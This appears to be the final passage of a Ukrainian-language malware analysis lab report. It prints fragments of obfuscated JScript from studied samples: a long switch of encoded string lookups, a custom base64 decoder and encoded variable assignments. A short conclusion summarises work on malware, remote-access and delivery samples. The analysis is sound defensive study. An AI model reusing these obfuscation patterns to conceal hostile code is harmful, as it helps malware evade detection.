'PVi')]=func;continue;case'51':x[b('0x15', 'PVi')]=func;continue;case'52':x[b('0x16', 'PVi')]=func;continue;case'53':x[b('0x17', 'PVi')]=func;continue;case'54':x[b('0x18', 'PVi')]=func;continue;case'55':x[b('0x19', 'PVi')]=func;continue;case'56':x[b('0x1a', 'PVi')]=func;continue;case'57':x[b('0x1b', 'PVi')]=func;continue;case'58':x[b('0x1c', 'PVi')]=func;continue;case'59':x[b('0x1d', 'PVi')]=func;continue;case'60':x[b('0x1e', 'PVi')]=func;continue;case'61':x[b('0x1f', 'PVi')]=func;continue;case'62':x[b('0x20', 'PVi')]=func;continue;case'63':x[b('0x21', 'PVi')]=func;continue;case'64':x[b('0x22', 'PVi')]=func;continue;case'65':x[b('0x23', 'PVi')]=func;continue;case'66':x[b('0x24', 'PVi')]=func;continue;case'67':x[b('0x25', 'PVi')]=func;continue;case'68':x[b('0x26', 'PVi')]=func;continue;case'69':x[b('0x27', 'PVi')]=func;continue;case'70':x[b('0x28', 'PVi')]=func;continue;case'71':x[b('0x29', 'PVi')]=func;continue;case'72':x[b('0x2a', 'PVi')]=func;continue;case'73':x[b('0x2b', 'PVi')]=func;continue;case'74':x[b('0x2c', 'PVi')]=func;continue;case'75':x[b('0x2d', 'PVi')]=func;continue;case'76':x[b('0x2e', 'PVi')]=func;continue;case'77':x[b('0x2f', 'PVi')]=func;continue;case'78':x[b('0x30', 'PVi')]=func;continue;case'79':x[b('0x31', 'PVi')]=func;continue;case'80':x[b('0x32', 'PVi')]=func;continue;case'81':x[b('0x33', 'PVi')]=func;continue;case'82':x[b('0x34', 'PVi')]=func;continue;case'83':x[b('0x35', 'PVi')]=func;continue;case'84':x[b('0x36', 'PVi')]=func;continue;case'85':x[b('0x37', 'PVi')]=func;continue;case'86':x[b('0x38', 'PVi')]=func;continue;case'87':x[b('0x39', 'PVi')]=func;continue;case'88':x[b('0x3a', 'PVi')]=func;continue;case'89':x[b('0x3b', 'PVi')]=func;continue;case'90':x[b('0x3c', 'PVi')]=func;continue;case'91':x[b('0x3d', 'PVi')]=func;continue;case'92':x[b('0x3e', 'PVi')]=func;continue;case'93':x[b('0x3f', 'PVi')]=func;continue;case'94':x[b('0x40', 'PVi')]=func;continue;case'95':x[b('0x41', 'PVi')]=func;continue;case'96':x[b('0x42', 'PVi')]=func;continue;case'97':x[b('0x43', 'PVi')]=func;continue;case'98':x[b('0x44', 'PVi')]=func;continue;case'99':x[b('0x45', 'PVi')]=func;continue;case'100':x[b('0x46', 'PVi')]=func;continue;case'101':x[b('0x47', 'PVi')]=func;continue;case'102':x[b('0x48', 'PVi')]=func;continue;case'103':x[b('0x49', 'PVi')]=func;continue;case'104':x[b('0x4a', 'PVi')]=func;continue;case'105':x[b('0x4b', 'PVi')]=func;continue;case'106':x[b('0x4c', 'PVi')]=func;continue;case'107':x[b('0x4d', 'PVi')]=func;continue;case'108':x[b('0x4e', 'PVi')]=func;continue;case'109':x[b('0x4f', 'PVi')]=func;continue;case'110':x[b('0x50', 'PVi')]=func;continue;case'111':x[b('0x51', 'PVi')]=func;continue;case'112':x[b('0x52', 'PVi')]=func;continue;case'113':x[b('0x53', 'PVi')]=func;continue;case'114':x[b('0x54', 'PVi')]=func;continue;case'115':x[b('0x55', 'PVi')]=func;continue;case'116':x[b('0x56', 'PVi')]=func;continue;case'117':x[b('0x57', 'PVi')]=func;continue;case'118':x[b('0x58', 'PVi')]=func;continue;case'119':x[b('0x59', 'PVi')]=func;continue;case'120':x[b('0x5a', 'PVi')]=func;continue;case'121':x[b('0x5b', 'PVi')]=func;continue;case'122':x[b('0x5c', 'PVi')]=func;continue;case'123':x[b('0x5d', 'PVi')]=func;continue;case'124':x[b('0x5e', 'PVi')]=func;continue;case'125':x[b('0x5f', 'PVi')]=func;continue;case'126':x[b('0x60', 'PVi')]=func;continue;case'127':x[b('0x61', 'PVi')]=func;continue;case'128':x[b('0x62', 'PVi')]=func;continue;case'129':x[b('0x63', 'PVi')]=func;continue;case'130':x[b('0x64', 'PVi')]=func;continue;case'131':x[b('0x65', 'PVi')]=func;continue;case'132':x[b('0x66', 'PVi')]=func;continue;case'133':x[b('0x67', 'PVi')]=func;continue;case'134':x[b('0x68', 'PVi')]=func;continue;case'135':x[b('0x69', 'PVi')]=func;continue;case'136':x[b('0x6a', 'PVi')]=func;continue;case'137':x[b('0x6b', 'PVi')]=func;continue;case'138':x[b('0x6c', 'PVi')]=func;continue;case'139':x[b('0x6d', 'PVi')]=func;continue;case'140':x[b('0x6e', 'PVi')]=func;continue;case'141':x[b('0x6f', 'PVi')]=func;continue;case'142':x[b('0x70', 'PVi')]=func;continue;case'143':x[b('0x71', 'PVi')]=func;continue;case'144':x[b('0x72', 'PVi')]=func;continue;case'145':x[b('0x73', 'PVi')]=func;continue;case'146':x[b('0x74', 'PVi')]=func;continue;case'147':x[b('0x75', 'PVi')]=func;continue;case'148':x[b('0x76', 'PVi')]=func;continue;case'149':x[b('0x77', 'PVi')]=func;continue;case'150':x[b('0x78', 'PVi')]=func;continue;case'151':x[b('0x79', 'PVi')]=func;continue;case'152':x[b('0x7a', 'PVi')]=func;continue;case'153':x[b('0x7b', 'PVi')]=func;continue;case'154':x[b('0x7c', 'PVi')]=func;continue;case'155':x[b('0x7d', 'PVi')]=func;continue;case'156':x[b('0x7e', 'PVi')]=func;continue;case'157':x[b('0x7f', 'PVi')]=func;continue;case'158':x[b('0x80', 'PVi')]=func;continue;case'159':x[b('0x81', 'PVi')]=func;continue;case'160':x[b('0x82', 'PVi')]=func;continue;case'161':x[b('0x83', 'PVi')]=func;continue;case'162':x[b('0x84', 'PVi')]=func;continue;case'163':x[b('0x85', 'PVi')]=func;continue;case'164':x[b('0x86', 'PVi')]=func;continue;case'165':x[b('0x87', 'PVi')]=func;continue;case'166':x[b('0x88', 'PVi')]=func;continue;case'167':x[b('0x89', 'PVi')]=func;continue;case'168':x[b('0x8a', 'PVi')]=func;continue;case'169':x[b('0x8b', 'PVi')]=func;continue;case'170':x[b('0x8c', 'PVi')]=func;continue;case'171':x[b('0x8d', 'PVi')]=func;continue;case'172':x[b('0x8e', 'PVi')]=func;continue;case'173':x[b('0x8f', 'PVi')]=func;continue;case'174':x[b('0x90', 'PVi')]=func;continue;case'175':x[b('0x91', 'PVi')]=func;continue;case'176':x[b('0x92', 'PVi')]=func;continue;case'177':x[b('0x93', 'PVi')]=func;continue;case'178':x[b('0x94', 'PVi')]=func;continue;case'179':x[b('0x95', 'PVi')]=func;continue;case'180':x[b('0x96', 'PVi')]=func;continue;case'181':x[b('0x97', 'PVi')]=func;continue;case'182':x[b('0x98', 'PVi')]=func;continue;case'183':x[b('0x99', 'PVi')]=func;continue;case'184':x[b('0x9a', 'PVi')]=func;continue;case'185':x[b('0x9b', 'PVi')]=func;continue;case'186':x[b('0x9c', 'PVi')]=func;continue;case'187':x[b('0x9d', 'PVi')]=func;continue;case'188':x[b('0x9e', 'PVi')]=func;continue;case'189':x[b('0x9f', 'PVi')]=func;continue;case'190':x[b('0xa0', 'PVi')]=func;continue;case'191':x[b('0xa1', 'PVi')]=func;continue;case'192':x[b('0xa2', 'PVi')]=func;continue;case'193':x[b('0xa3', 'PVi')]=func;continue;case'194':x[b('0xa4', 'PVi')]=func;continue;case'195':x[b('0xa5', 'PVi')]=func;continue;case'196':x[b('0xa6', 'PVi')]=func;continue;case'197':x[b('0xa7', 'PVi')]=func;continue;case'198':x[b('0xa8', 'PVi')]=func;continue;case'199':x[b('0xa9', 'PVi')]=func;continue;case'200':x[b('0xaa', 'PVi')]=func;continue;case'201':x[b('0xab', 'PVi')]=func;continue;case'202':x[b('0xac', 'PVi')]=func;continue;case'203':x[b('0xad', 'PVi')]=func;continue;case'204':x[b('0xae', 'PVi')]=func;continue;case'205':x[b('0xaf', 'PVi')]=func;continue;case'206':x[b('0xb0', 'PVi')]=func;continue;case'207':x[b('0xb1', 'PVi')]=func;continue;case'208':x[b('0xb2', 'PVi')]=func;continue;case'209':x[b('0xb3', 'PVi')]=func;continue;case'210':x[b('0xb4', 'PVi')]=func;continue;case'211':x[b('0xb5', 'PVi')]=func;continue;case'212':x[b('0xb6', 'PVi')]=func;continue;case'213':x[b('0xb7', 'PVi')]=func;continue;case'214':x[b('0xb8', 'PVi')]=func;continue;case'215':x[b('0xb9', 'PVi')]=func;continue;case'216':x[b('0xba', 'PVi')]=func;continue;case'217':x[b('0xbb', 'PVi')]=func;continue;case'218':x[b('0xbc', 'PVi')]=func;continue;case'219':x[b('0xbd', 'PVi')]=func;continue;case'220':x[b('0xbe', 'PVi')]=func;continue;case'221':x[b('0xbf', 'PVi')]=func;continue;case'222':x[b('0xc0', 'PVi')]=func;continue;case'223':x[b('0xc1', 'PVi')]=func;continue;case'224':x[b('0xc2', 'PVi')]=func;continue;case'225':x[b('0xc3', 'PVi')]=func;continue;case'226':x[b('0xc4', 'PVi')]=func;continue;case'227':x[b('0xc5', 'PVi')]=func;continue;case'228':x[b('0xc6', 'PVi')]=func;continue;case'229':x[b('0xc7', 'PVi')]=func;continue;case'230':x[b('0xc8', 'PVi')]=func;continue;case'231':x[b('0xc9', 'PVi')]=func;continue;case'232':x[b('0xca', 'PVi')]=func;continue;case'233':x[b('0xcb', 'PVi')]=func;continue;case'234':x[b('0xcc', 'PVi')]=func;continue;case'235':x[b('0xcd', 'PVi')]=func;continue;case'236':x[b('0xce', 'PVi')]=func;continue;case'237':x[b('0xcf', 'PVi')]=func;continue;case'238':x[b('0xd0', 'PVi')]=func;continue;case'239':x[b('0xd1', 'PVi')]=func;continue;case'240':x[b('0xd2', 'PVi')]=func;continue;case'241':x[b('0xd3', 'PVi')]=func;continue;case'242':x[b('0xd4', 'PVi')]=func;continue;case'243':x[b('0xd5', 'PVi')]=func;continue;case'244':x[b('0xd6', 'PVi')]=func;continue;case'245':x[b('0xd7', 'PVi')]=func;continue;case'246':x[b('0xd8', 'PVi')]=func;continue;case'247':x[b('0xd9', 'PVi')]=func;continue;case'248':x[b('0xda', 'PVi')]=func;continue;case'249':x[b('0xdb', 'PVi')]=func;continue;case'250':x[b('0xdc', 'PVi')]=func;continue;case'251':x[b('0xdd', 'PVi')]=func;continue;case'252':x[b('0xde', 'PVi')]=func;continue;case'253':x[b('0xdf', 'PVi')]=func;continue;case'254':x[b('0xe0', 'PVi')]=func;continue;case'255':x[b('0xe1', 'PVi')]=func;continue;case'256':x[b('0xe2', 'PVi')]=func;continue;case'257':x[b('0xe3', 'PVi')]=func;continue;case'258':x[b('0xe4', 'PVi')]=func;continue;case'259':x[b('0xe5', 'PVi')]=func;continue;case'260':x[b('0xe6', 'PVi')]=func;continue;case'261':x[b('0xe7', 'PVi')]=func;continue;case'262':x[b('0xe8', 'PVi')]=func;continue;case'263':x[b('0xe9', 'PVi')]=func;continue;case'264':x[b('0xea', 'PVi')]=func;continue;case'265':x[b('0xeb', 'PVi')]=func;continue;case'266':x[b('0xec', 'PVi')]=func;continue;case'267':x[b('0xed', 'PVi')]=func;continue;case'268':x[b('0xee', 'PVi')]=func;continue;case'269':x[b('0xef', 'PVi')]=func;continue;case'270':x[b('0xf0', 'PVi')]=func;continue;case'271':x[b('0xf1', 'PVi')]=func;continue;case'272':x[b('0xf2', 'PVi')]=func;continue;case'273':x[b('0xf3', 'PVi')]=func;continue;case'274':x[b('0xf4', 'PVi')]=func;continue;case'275':x[b('0xf5', 'PVi')]=func;continue;case'276':x[b('0xf6', 'PVi')]=func;continue;case'277':x[b('0xf7', 'PVi')]=func;continue;case'278':x[b('0xf8', 'PVi')]=func;continue;case'279':x[b('0xf9', 'PVi')]=func;continue;case'280':x[b('0xfa', 'PVi')]=func;continue;case'281':x[b('0xfb', 'PVi')]=func;continue;case'282':x[b('0xfc', 'PVi')]=func;continue;case'283':x[b('0xfd', 'PVi')]=func;continue;case'284':x[b('0xfe', 'PVi')]=func;continue;case'285':x[b('0xff', 'PVi')]=func;continue;case'286':x[b('0x00', 'PVi')]=func;continue;case'287':x[b('0x01', 'PVi')]=func;continue;case'288':x[b('0x02', 'PVi')]=func;continue;case'289':x[b('0x03', 'PVi')]=func;continue;case'290':x[b('0x04', 'PVi')]=func;continue;case'291':x[b('0x05', 'PVi')]=func;continue;case'292':x[b('0x06', 'PVi')]=func;continue;case'293':x[b('0x07', 'PVi')]=func;continue;case'294':x[b('0x08', 'PVi')]=func;continue;case'295':x[b('0x09', 'PVi')]=func;continue;case'296':x[b('0x0a', 'PVi')]=func;continue;case'297':x[b('0x0b', 'PVi')]=func;continue;case'298':x[b('0x0c', 'PVi')]=func;continue;case'299':x[b('0x0d', 'PVi')]=func;continue;case'300':x[b('0x0e', 'PVi')]=func;continue;case'301':x[b('0x0f', 'PVi')]=func;continue;case'302':x[b('0x10', 'PVi')]=func;continue;case'303':x[b('0x11', 'PVi')]=func;continue;case'304':x[b('0x12', 'PVi')]=func;continue;case'305':x[b('0x13', 'PVi')]=func;continue;case'306':x[b('0x14', 'PVi')]=func;continue;case'307':x[b('0x15', 'PVi')]=func;continue;case'308':x[b('0x16', 'PVi')]=func;continue;case'309':x[b('0x17', 'PVi')]=func;continue;case'310':x[b('0x18', 'PVi')]=func;continue;case'311':x[b('0x19', 'PVi')]=func;continue;case'312':x[b('0x1a', 'PVi')]=func;continue;case'313':x[b('0x1b', 'PVi')]=func;continue;case'314':x[b('0x1c', 'PVi')]=func;continue;case'315':x[b('0x1d', 'PVi')]=func;continue;case'316':x[b('0x1e', 'PVi')]=func;continue;case'317':x[b('0x1f', 'PVi')]=func;continue;case'318':x[b('0x20', 'PVi')]=func;continue;case'319':x[b('0x21', 'PVi')]=func;continue;case'320':x[b('0x22', 'PVi')]=func;continue;case'321':x[b('0x23', 'PVi')]=func;continue;case'322':x[b('0x24', 'PVi')]=func;continue;case'323':x[b('0x25', 'PVi')]=func;continue;case'324':x[b('0x26', 'PVi')]=func;continue;case'325':x[b('0x27', 'PVi')]=func;continue;case'326':x[b('0x28', 'PVi')]=func;continue;case'327':x[b('0x29', 'PVi')]=func;continue;case'328':x[b('0x2a', 'PVi')]=func;continue;case'329':x[b('0x2b', 'PVi')]=func;continue;case'330':x[b('0x2c', 'PVi')]=func;continue;case'331':x[b('0x2d', 'PVi')]=func;continue;case'332':x[b('0x2e', 'PVi')]=func;continue;case'333':x[b('0x2f', 'PVi')]=func;continue;case'334':x[b('0x30', 'PVi')]=func;continue;case'335':x[b('0x31', 'PVi')]=func;continue;case'336':x[b('0x32', 'PVi')]=func;continue;case'337':x[b('0x33', 'PVi')]=func;continue;case'338':x[b('0x34', 'PVi')]=func;continue;case'339':x[b('0x35', 'PVi')]=func;continue;case'340':x[b('0x36', 'PVi')]=func;continue;case'341':x[b('0x37', 'PVi')]=func;continue;case'342':x[b('0x38', 'PVi')]=func;continue;case'343':x[b('0x39', 'PVi')]=func;continue;case'344':x[b('0x3a', 'PVi')]=func;continue;case'345':x[b('0x3b', 'PVi')]=func;continue;case'346':x[b('0x3c', 'PVi')]=func;continue;case'347':x[b('0x3d', 'PVi')]=func;continue;case'348':x[b('0x3e', 'PVi')]=func;continue;case'349':x[b('0x3f', 'PVi')]=func;continue;case'350':x[b('0x40', 'PVi')]=func;continue;case'351':x[b('0x41', 'PVi')]=func;continue;case'352':x[b('0x42', 'PVi')]=func;continue;case'353':x[b('0x43', 'PVi')]=func;continue;case'354':x[b('0x44', 'PVi')]=func;continue;case'355':x[b('0x45', 'PVi')]=func;continue;case'356':x[b('0x46', 'PVi')]=func;continue;case'357':x[b('0x47', 'PVi')]=func;continue;case'358':x[b('0x48', 'PVi')]=func;continue;case'359':x[b('0x49', 'PVi')]=func;continue;case'360':x[b('0x4a', 'PVi')]=func;continue;case'361':x[b('0x4b', 'PVi')]=func;continue;case'362':x[b('0x4c', 'PVi')]=func;continue;case'363':x[b('0x4d', 'PVi')]=func;continue;case'364':x[b('0x4e', 'PVi')]=func;continue;case'365':x[b('0x4f', 'PVi')]=func;continue;case'366':x[b('0x50', 'PVi')]=func;continue;case'367':x[b('0x51', 'PVi')]=func;continue;case'368':x[b('0x52', 'PVi')]=func;continue;case'369':x[b('0x53', 'PVi')]=func;continue;case'370':x[b('0x54', 'PVi')]=func;continue;case'371':x[b('0x55', 'PVi')]=func;continue;case'372':x[b('0x56', 'PVi')]=func;continue;case'373':x[b('0x57', 'PVi')]=func;continue;case'374':x[b('0x58', 'PVi')]=func;continue;case'375':x[b('0x59', 'PVi')]=func;continue;case'376':x[b('0x5a', 'PVi')]=func;continue;case'377':x[b('0x5b', 'PVi')]=func;continue;case'378':x[b('0x5c', 'PVi')]=func;continue;case'379':x[b('0x5d', 'PVi')]=func;continue;case'380':x[b('0x5e', 'PVi')]=func;continue;case'381':x[b('0x5f', 'PVi')]=func
```

```

    e(++d);
  }(a, 0x67));
  var b = function (c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b.eovtsg === undefined) {
      (function () {
        var f = function () {
          var g;
          try {
            g = Function('return (function() ' + '{}.constructor(\'return this\')() ' + ');')();
          } catch (h) {
            g = window;
          }
          return g;
        };
        var i = f();
        var j = 'ABCDEFGH IJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/-';
        i.atob || (i.atob = function (k) {
          var l = String(k).replace(/=+$/, '');

```

```

var cx = b('0x7b', '@E2!');
var cy = b('0x7c', 'kcDe');
var cz = b('0x7d', 'fBq4');
var cA = b('0x7e', '@E2!');
var cB = b('0x7f', 'z@^R');
var cC = 'Close';
var cD = b('0x80', 'j#bh');
var cE = 'toString';
var cF = '\\\\';
var cG = 'substr';

function cH() {
  var cI = {
    'sQxBz': function (cJ, cK) {
      return cJ + cK;
    },

```

## Висновки:

У цій лабораторній роботі досліджувалися зразки ШПЗ, систем віддаленого керування та засобів доставки на базі .NET, Python, JScript, PowerShell, документів Microsoft Office та Adobe PDF.

Також було проведено аналіз та деобфускацію інтерпретованого та проміжного коду, у результаті чого можна було знайти цікаві посилання на онлайн-форми збору статистики про цільову систему або на сервери, з яких проводиться атака.